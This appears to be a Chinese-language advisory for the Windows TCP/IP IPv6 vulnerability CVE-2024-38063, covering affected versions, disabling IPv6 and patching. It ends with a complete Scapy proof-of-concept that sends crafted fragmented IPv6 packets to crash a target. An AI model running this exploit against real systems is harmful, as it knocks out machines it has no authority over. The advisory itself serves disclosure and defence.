CVE-2024-38063(Windows TCP/IP IPv6远程拒绝服务/代码执行漏洞)


漏洞简述

Windows TCP/IP 组件中发现了一个整数下溢漏洞,可能会触发缓冲区溢出。未经身份验证的远程攻击者可以通过发送特制的 IPv6 数据包到目标Windows系统机器导致目标蓝屏崩溃,精心构造请求理论上存在远程代码执行的可能性。该漏洞影响了所有受 IPv6 支持的 Windows 版本,包括即将发布的 Windows 11 版本 24H2。禁用 IPv6 的系统不受此漏洞的影响,但对于启用 IPv6 的系统,存在很大的利用风险。

影响版本

Windows 11 Version 24H2 for x64-based SystemsWindows 11 Version 24H2 for ARM64-based SystemsWindows Server 2012 R2 (Server Core installation)Windows Server 2012 R2Windows Server 2012 (Server Core installation)Windows Server 2012Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)Windows Server 2008 for x64-based Systems Service Pack 2Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)Windows Server 2008 for 32-bit Systems Service Pack 2Windows Server 2016 (Server Core installation)Windows Server 2016Windows 10 Version 1607 for x64-based SystemsWindows 10 Version 1607 for 32-bit SystemsWindows 10 for x64-based SystemsWindows 10 for 32-bit SystemsWindows Server 2022, 23H2 Edition (Server Core installation)Windows 11 Version 23H2 for x64-based SystemsWindows 11 Version 23H2 for ARM64-based SystemsWindows 10 Version 22H2 for 32-bit SystemsWindows 10 Version 22H2 for ARM64-based SystemsWindows 10 Version 22H2 for x64-based SystemsWindows 11 Version 22H2 for x64-based SystemsWindows 11 Version 22H2 for ARM64-based SystemsWindows 10 Version 21H2 for x64-based SystemsWindows 10 Version 21H2 for ARM64-based SystemsWindows 10 Version 21H2 for 32-bit SystemsWindows 11 version 21H2 for ARM64-based SystemsWindows 11 version 21H2 for x64-based SystemsWindows Server 2022 (Server Core installation)Windows Server 2022Windows Server 2019 (Server Core installation)Windows Server 2019Windows 10 Version 1809 for ARM64-based SystemsWindows 10 Version 1809 for x64-based SystemsWindows 10 Version 1809 for 32-bit Systems

缓解措施:

对于 IPv6 并非必不可少的系统,禁用它可以作为临时缓解措施,直到完全应用补丁。但是,最好的做法仍然是及时部署提供的安全更新。

禁用IPv6的步骤:

1、打开“设置”>“网络和Internet”>“更改适配器选项”。

2、根据自己的电脑连接的是有线网络还是无线网络,找到并点击“本地连接”或“无线网络连接”。然后点击“属性”。

3、在弹出窗口中选择“禁用”IPv6选项。

4、点击“保存”并重启电脑。

验证IPv6是否已禁用:

1、打开命令提示符。

2、输入“ipconfig”并回车。

3、检查网络适配器的配置,确保没有IPv6地址。

Windows自动更新

Windows系统默认启用 Microsoft Update,当检测到可用更新时,将会自动下载更新并在下一次启动时安装。还可通过以下步骤快速安装更新:

1、点击“开始菜单”或按Windows快捷键,点击进入“设置”

2、选择“更新和安全”,进入“Windows更新”(Windows Server 2012以及Windows Server 2012 R2可通过控制面板进入“Windows更新”,步骤为“控制面板”-> “系统和安全”->“Windows更新”)

3、选择“检查更新”,等待系统将自动检查并下载可用更新

4、重启计算机,安装更新

系统重新启动后,可通过进入“Windows更新”->“查看更新历史记录”查看是否成功安装了更新。对于没有成功安装的更新,可以点击该更新名称进入微软官方更新描述链接,点击最新的SSU名称并在新链接中点击“Microsoft 更新目录”,然后在新链接中选择适用于目标系统的补丁进行下载并安装。

手动安装补丁

另外,对于不能自动更新的系统版本,可参考以下链接下载适用于该系统的补丁并安装:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38063

POC

from scapy.all import *
 
iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20
 
def get_packets_with_mac(i):
    frag_id = 0xdebac1e + i
    first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]
 
def get_packets(i):
    if mac_addr != '':
        return get_packets_with_mac(i)
    frag_id = 0xdebac1e + i
    first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]
 
final_ps = []
for _ in range(num_batches):
    for i in range(num_tries):
        final_ps += get_packets(i) + get_packets(i)
 
print("Sending packets")
if mac_addr != '':
    sendp(final_ps, iface)
else:
    send(final_ps, iface)
 
for i in range(60):
    print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
    time.sleep(1)
print("")